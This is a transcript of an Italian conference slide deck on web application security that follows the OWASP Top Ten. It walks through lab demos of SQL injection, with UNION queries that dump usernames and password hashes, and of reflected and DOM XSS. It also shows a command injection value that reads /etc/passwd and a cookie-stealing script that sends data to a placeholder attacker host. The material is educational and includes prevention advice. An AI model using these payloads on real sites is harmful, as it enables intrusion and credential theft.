festival ICT 2013: Sicurezza delle applicazioni web

Sicurezza delle Applicazioni WebSicurezza delle Applicazioni Web

Andrea Zwirner

[email protected]@AndreaZwirner

Nota: in questa versione scaricabile, ho inserito alcune slide con gli screenshot di quanto fatto come demo in corso di laboratorio, corredandole di una breve descrizione. Spero che questa sia sufficientemente chiara, nel caso di dubbi o perplessità, in questa pagina ci sono i miei contatti: usateli senza farvi scrupoli! :-) Nei limiti di tempo impostimi dai miei impegni, cercherò di rispondere a tutte le domande. Grazie dell'interesse, spero di reincontrarvi tutti al FdT ICT 2014! :-)

mailto:[email protected]

Andrea Zwirner● Consulente nei campi della sicurezza informatica e forense (security auditing, penetration testing)

● Formazione nel campo della sicurezza

● Articolista e revisore per la rivista di settore PenTest Magazine

● Collaborazione con ISECOM (Instiute for Security and Open Methodologies)

● Hacker Highschool – Security awareness for teens

● Secure Programming Guidelines – in fase di ultimazione

Andrea ZwirnerSicurezza delle Applicazioni Web 2

Cos'è la sicurezza informaticainsieme di misure di carattere organizzativo, tecnologico e procedurale mirate ad assicurare

● C O N F I D E N Z I A L I T ÀC O N F I D E N Z I A L I T À

● I N T E G R I T ÀI N T E G R I T À

● D I S P O N I B I L I T ÀD I S P O N I B I L I T À

dell'informazione.


Sicurezza delle applicazioni web● Il web non è stato progettato per essere sicuro:

● Contenuti statici in sola lettura

● Nessuna sicurezza implicita (o “by design”)


Sicurezza delle applicazioni web● Il web non è stato progettato per essere sicuro:

● Contenuti statici in sola lettura

● Nessuna sicurezza implicita (o “by design”)

● Il Web 2.0 eredita queste peculiarità dal suo predecessore, fornendo

● Ampia superficie d'attacco (ha più componenti)

● Svariati petabyte di informazioni di miliardi di utenti (privati, aziende, banche e governi)

● Accesso diretto alle macchine degli utenti stessi


www.draw-shapes..de

firewall

clientutente/sistema

draw-shapes.de

web server

database

autenticazioneautorizzazione

www.draw-shapes.de

web service

controlloaccessi

Superficie d'attacco…


Application security● Modellazione ed analisi dei rischi derivanti dal software

● Consapevolezza di analisti / sviluppatori / beta tester / utenti finali

● Sviluppo dell'architettura (secure by design)

● Ciclo di sviluppo del software

● Scrittura del codice

● Controlli di sicurezza comuni ( non dovrebbe != non è )


La metodologia

O W A S P

Open Web Application Security Project

Missione: aumentare la visibilità relativa la sicurezza del software al fine di permettere di prendere decisioni informate ad imprese ed individui


OWASP – Top Ten Project● Descrive le dieci vulnerabilità valutate più rischiose in ambito

web application

● Finalizzato ad educare sviluppatori, designer, manager ed organizzazioni circa le problematiche trattate

● Fornisce linee guida per la rilevazione delle problematiche selezionate e la loro prevenzione

● Indipendente da linguaggio / framework utilizzato


Top Ten 2013


Top Ten 2013● A1: Injection

● A2: Broken Authentication and Session Management

● A3: Cross-Site Scripting (XSS)

● A4: Insecure Direct Object References

● A5: Security Misconfiguration

● A6: Sensitive Data Exposure

● A7: Missing Function Level Access Control

● A8: Cross-Site Request Forgery (CSRF)

● A9: Using Known Vulnerable Components

● A10: Unvalidated Redirects and Forwards


A1 – Injection – descrizione

● La vulnerabilità

● Avviene quando dati non fidati sono inviati direttamente ad un interprete (SQL, OS, LDAP, etc)

● Un attaccante può inviare richieste forgiate in modo da forzare l'interprete ad eseguire comandi non previsti

● Vettori d'attacco

● Qualunque fonte di dati, incluse quelle interne


A1 – Injection – esempio: SQL injection

● Parametrizzazione insicura di una query:

1. var_id = _post(id);2. query = “SELECT * FROM tab WHERE id = '” + var_id + “'”;3. result = invia_query_al_database(query);4. fai_qualcosa_con(result);

● Parametri attesi

_post(id) = n naturale (o, al più, intero)






_post(id) = n naturale (o, al più, intero)

● Esempio di parametro inatteso

_post(id) = 23'; DROP TABLE tab;






_post(id) = n (naturale o intero)

● Esempio di parametro inatteso

_post(id) = 23'; DROP TABLE tab;

SELECT * FROM tab WHERE id = '23'; DROP TABLE tab; '


A1 – Injection Fun

Pronto, qui è la scuola di suo figlio, abbiamo qualche problema informatico.Oh, mi dica... Robert ha mica rotto qualcosa?In un certo senso... Senta, suo figlio si chiama veramente

Robert'); DROP TABLE Students; --?…



ZU 0666',0,0); DROP DATABASE TABLICE; --


A1 – Injection – esempio: command injection

● Parametrizzazione insicura di un comando shell:

1. var_ip = _post(ip);2. command = “/bin/ping c1 ” + var_ip;3. result = esegui_comando(command);4. stampa_nella_pagina(result);


_post(ip) = ip (indirizzo IP)

● Parametri inattesi

_post(ip) = 127.0.0.1; cat /etc/passwd


Facciamo una prova? Vi va?



Demo SQL Injection – il laboratorio FdT ICT edition :-)



Notiamo che vi è corrispondenza fra il parametro username (ospite) e quanto riportato in tabella

Notiamo che vi è corrispondenza fra il parametro username (ospite) e quanto riportato in tabella



Proviamo a variare il parametro per verificare se vi è un riferimento diretto al database (e quindi anche una Direct Object Reference (A4))

Proviamo a variare il parametro per verificare se vi è un riferimento diretto al database (e quindi anche una Direct Object Reference (A4))



Se lo username non esiste, la tabella è vuota, ma viene costruita.Se lo username non esiste, la tabella è vuota, ma viene costruita.



IT ALL STARTS WITH AN '

Se il parametro invece è ' (apostrofo), la tabella non viene proprio costruita: abbiamo rotto qualcosa.

L'applicazione è SQL-injectable!

IT ALL STARTS WITH AN '

Se il parametro invece è ' (apostrofo), la tabella non viene proprio costruita: abbiamo rotto qualcosa.

L'applicazione è SQL-injectable!


Demo SQL Injection – il laboratorio FdT ICT edition :-)Vediamo quindi il risultato di un classico

parametro=valore' OR '1' = '1

Vengono mostrati tutti i record

Vediamo quindi il risultato di un classico

parametro=valore' OR '1' = '1

Vengono mostrati tutti i record


Demo SQL Injection – il laboratorio FdT ICT edition :-)● A questo punto partiamo con delle UNION query per avere nome del database (lab):

ospite' UNION ALLSELECT

database(), 2,3,4

%23

● Nota: %23 rappresenta il carattere # (URL encoding) che inizia un commento in MySQL ( il -- in SQL standard ) e serve per commentare l'ultimo apice inserito dal programmatore della web application


Demo SQL Injection – il laboratorio FdT ICT edition :-)● Quindi enumeriamo le tabelle contenute nel database lab (fra cui users):

ospite' UNION ALLSELECT table_name, 2,3,4FROM information_schema.tablesWHERE table_schema='lab'%23


Demo SQL Injection – il laboratorio FdT ICT edition :-)● Ed ora i campi contenuti nella tabella users (fra cui password)

ospite' UNION ALL SELECT ordinal_position, column_name, 3,4FROM information_schema.columnsWHERE table_schema='lab'AND table_name = 'users'%23


Demo SQL Injection – il laboratorio FdT ICT edition :-)Bene, ci siamo. Ora vediamo le password:

ospite' UNION ALL SELECT username, password, 3,4FROM users%23

Bene! Sono MD5: possiamo procedere a craccarle (esercizio per casa! :-)

Bene, ci siamo. Ora vediamo le password:

ospite' UNION ALL SELECT username, password, 3,4FROM users%23

Bene! Sono MD5: possiamo procedere a craccarle (esercizio per casa! :-)

A1 – Injection – prevenzione

● Fare escaping dei caratteri speciali, usando le sequenze specifiche per l'interprete

● Usare API che neghino l'uso diretto dell'interprete, fornendo un interfaccia parametrizzata

● Nel caso SQL, attenzione all'uso si Stored Procedures, che possono essere forzate a loro volta (!)


A1 – Injection – rilevazione

● Se non sono stati definiti standard di sviluppo, partire dal presupposto che si è vulnerabili

● Verifica del codice

● Cercare i punti nel codice in cui viene richiamato l'interprete

● Assicurarsi che i comandi siano separati dai dati non fidati

● Penetration test


A3 – Cross-Site Scripting (XSS)

● La vulnerabilità

● Avviene quando un'applicazione include informazioni non fidate nei contenuti serviti agli utenti.

● L'attacco consiste nell'inviare ai browser degli utenti script che ne sfruttano l'interprete

● Permette l'esecuzione di codice lato client, all'interno del browser

● Vettori d'attacco

● Qualunque fonte di dati, comprese quelle interne, come il database


A3 – Cross-Site Scripting (XSS)

● Le falle XSS si dividono in tre tipologie

● Stored XSS

● Il codice malevolo è persistente a database

● Reflected XSS

● Il codice malevolo è contenuto nella risposta data dal web server ad una domanda forgiata

● DOM based XSS

● Il codice malevolo è frutto della modifica all'ambiente DOM del browser dell'utente (avviene tutto lato client)


JavaScript browser environment

Document Object Model (DOM)

document and related objects allow to access contents of the page, modify elements etc. Most interaction with HTML is handled here.

Browser Object Model (BOM)

BOM is a pack of objects that allow to control the browser, e.g change current URL, access frames, do background requests to server with XMLHttpRequest etc. Functions like alert,confirm,prompt also belong BOM, they are provided by the browser.

JavaScript objects and functions

JavaScript itself is a language which gives us access to DOM, BOM and provides objects and functions of its own.


A3 – Cross-Site Scripting (XSS) – scenari d'attacco

● Un applicazione web salva a database il contenuto di un modulo per poi riproporlo a tutti gli utenti del sito (es. “lascia un commento”)

● Nome: Andrea● Commento: questo è un bel sito!



● Un applicazione web salva a database il contenuto di un modulo per poi riproporlo a tutti gli utenti del sito (es. “lascia un commento”)

● Nome: Andrea● Commento: questo è un bel sito!

● Il risultato sarà qualcosa tipo

<html><h1>Commenti degli utenti</h1>

Tizio: ma che nome c'ho?<br/>Caio: a chi lo dici!<br/>Andrea: questo è un bel sito!<br/></html>



● Fin qui tutto bene, ma se nel modulo fosse stato inserito:

● Nome: Andrea● Commento: bello davvero! <script>alert('XSS');</script>



● Fin qui tutto bene, ma se nel modulo fosse stato inserito:

● Nome: Andrea● Commento: bello davvero! <script>alert('XSS');</script>

● La pagina sarebbe diventata:

<html><h1>Commenti degli utenti</h1>

Tizio: ma che nome c'ho?<br/>Caio: a chi lo dici!<br/>Andrea: bello davvero! <script>alert('XSS');</script><br/></html>



● Risultato: esecuzione di script all'interno del browser di tutti i visitatori


A3 – Il celebre alert('XSS')

● Si tratta di un attacco tanto famoso da avere addirittura un profilo professionale su LinkedIn



● Un attaccante può inviarsi i cookie di tutti gli utenti (e quindi anche gli ID di sessione) ed impersonarli all'interno del sito.

● Nome: Andrea

● Commento:

<script>new Image.src='http://IP_ATTACCANTE/ruba_cookie.cgi?dati='

+ document.cooke</script>


Facciamo una prova? Vi va?



Demo reflected cross-site scriptingVediamo che il parametro nome è riportato all'interno della pagina.

Nel caso in cui non ne venga fatto escaping, potremo riportare nella pagina tag <script> e </script>.

Vediamo che il parametro nome è riportato all'interno della pagina.

Nel caso in cui non ne venga fatto escaping, potremo riportare nella pagina tag <script> e </script>.


Demo reflected cross-site scriptingA quanto pare, questo succede! :-)

Abbiamo iniettato la stringa

<script>alert('XSS')</script>

All'interno del codice della pagina.

L'attacco è di tipo reflected XSS

A quanto pare, questo succede! :-)

Abbiamo iniettato la stringa

<script>alert('XSS')</script>

All'interno del codice della pagina.

L'attacco è di tipo reflected XSS


Demo reflected cross-site scriptingNel caso vi fossero blocchi sul tag <script>, potremmo invocare JavaScript mediante eventi dei tag HTML, qui per esempio, si usa l'evento di onError() del tag <img>, scatenato dal fatto che l'immagine cercata non esiste.

Nel caso vi fossero blocchi sul tag <script>, potremmo invocare JavaScript mediante eventi dei tag HTML, qui per esempio, si usa l'evento di onError() del tag <img>, scatenato dal fatto che l'immagine cercata non esiste.


Demo DOM based cross-site scriptingIn questo esempio il nome è scritto sulla pagina da una funzione JavaScript contenuta all'interno del codice della pagina stessa e che modifica il documento lato client, in funzione degli anchor contenuti nell'URL (→ location.hash).

La stringa da iniettare per l'attacco sarà uguale all'esempio reflected, ma il funzionamento dell'attacco è profondamente differente: prima il parametro era riportato nella pagina da una funzione eseguita lato server, qui avviene tutto lato client (la pagina potrebbe essere del tutto statica).

In questo esempio il nome è scritto sulla pagina da una funzione JavaScript contenuta all'interno del codice della pagina stessa e che modifica il documento lato client, in funzione degli anchor contenuti nell'URL (→ location.hash).

La stringa da iniettare per l'attacco sarà uguale all'esempio reflected, ma il funzionamento dell'attacco è profondamente differente: prima il parametro era riportato nella pagina da una funzione eseguita lato server, qui avviene tutto lato client (la pagina potrebbe essere del tutto statica).


Demo DOM based cross-site scripting

A tal riguardo è interessante notare che, cambiando il parametro, il contenuto della pagina generata varia, ma il suo sorgente resta lo stesso!

Per questo per vedere il cambiamento nella pagina, una volta modificato il parametro, è fra l'altro necessario ricaricarla (non basta battere invio): non variando il suo sorgente il browser semplicemente non fa alcuna modifica a quanto visualizzato (e non ri-esegue gli script), in quanto non si aspetta vi siano cambiamenti

A tal riguardo è interessante notare che, cambiando il parametro, il contenuto della pagina generata varia, ma il suo sorgente resta lo stesso!

Per questo per vedere il cambiamento nella pagina, una volta modificato il parametro, è fra l'altro necessario ricaricarla (non basta battere invio): non variando il suo sorgente il browser semplicemente non fa alcuna modifica a quanto visualizzato (e non ri-esegue gli script), in quanto non si aspetta vi siano cambiamenti


Demo DOM based cross-site scriptingPer concludere ecco l'attacco e la PoC dell'esistenza della vulnerabilità. Anche in questo caso, come atteso, il sorgente della pagina non varia.

Per concludere ecco l'attacco e la PoC dell'esistenza della vulnerabilità. Anche in questo caso, come atteso, il sorgente della pagina non varia.

A3 – Cross-Site Scripting (XSS) – prevenzione

● Il concetto è quello di separare i dati non fidati dai contenuti web (da inviare ai browser)

● Fare escaping dei contenuti non fidati (JavaScript, CSS, URL, etc)

● OWASP XSS Prevention Cheat Sheet

● Nel caso non ci sia necessità di input di caratteri speciali, applicare white list per la validazione degli input (e.g. solo lettere per i nomi, solo cifre per i numeri, solo cifre + “/” per le date, etc)

● Nei casi di rich contents, cosiderare l'uso di librerie di auto-sanization

● OWASP AntiSamy


A3 – Cross-Site Scripting (XSS) – rilevazione

● Considerando di avere già inserito a DB codice malevolo, bisogna verificare che qualunque contenuto inviato sia gestito correttamente (escaped) prima di includerlo in ogni pagina.

● L'unico modo certo è combinare:

● Ricerca manuale nel codice

● Pen Testing

● Esistono tool automatici per la ricerca delle falle (ad esempio DOMinator di Minded Security)


Abbiamo finito.


Laboratorio – configurazione dispositivi

● File di hosts:

● Windows● Notepad (come amministratore)● C:\WINDOWS\system32\drivers\etc\hosts

● Mac OS X● sudo …● /private/etc/hosts

● Linux● sudo …● /etc/hosts

● Configurare nel file di hosts

10.255.251.27 target


Sicurezza delle Applicazioni WebSicurezza delle Applicazioni Web

Andrea Zwirner

[email protected]@AndreaZwirner

mailto:[email protected]

Approfondimenti consigliati● Wikipedia – Application Security – 2013

● Tutti i documenti pubblicati da OWASP, ed in particolare ogni Cheat Sheet

● Defuse Security – Password Hashing Security: Salted Password Hashing – Doing it right – 2013

● P. Litwin – Stop SQL Injection Attacks Before They Stop You – Microsoft MSDN

● B. Guimarães – Advanced SQL injection to operating system full control – 2009

● R. Ivgi – XSS : Cross Site Scripting - Exposed - Why, How, When, Where!

● E. Benoist – Brocken Authentication and Session Management – 2012

● B. Hardin – Series about the Owasp Top 10 – 2009

● Euorpean Commission – Cybersecurity Strategy of the European Union – 2013

● K. Kuliukas – How Rainbow Tables work

● google!


Risorse OWASP da non perdere

● Testing ProjectDefinisce le best practices per la conduzione di test di sicurezza ad applicazioni web, indirizzata a sviluppatori e beta tester.

● Code Review ProjectMetodi di revisione del codice suddivisi per controllo (authentication / authorization) e per tipologie di minacce / vulnerabilità

● Secure Coding Practices - Quick Reference GuideCheck list per la verifica dell'utilizzo delle secure coding best practices (17 pag. - life cycle)

● WebGoat ProjectApplicazione web per impratichirsi con le tecniche di testing“Developers should not feel bad about not knowing security. Even the best programmers make security errors. What they need is a scapegoat, right?”

● Web Testing Environment Project (storicamente Live CD Project)● Distribuzione specificatamente pensata per il Web Application penetration testing


festival ICT 2013: Sicurezza delle applicazioni web

Technology

Transcript of festival ICT 2013: Sicurezza delle applicazioni web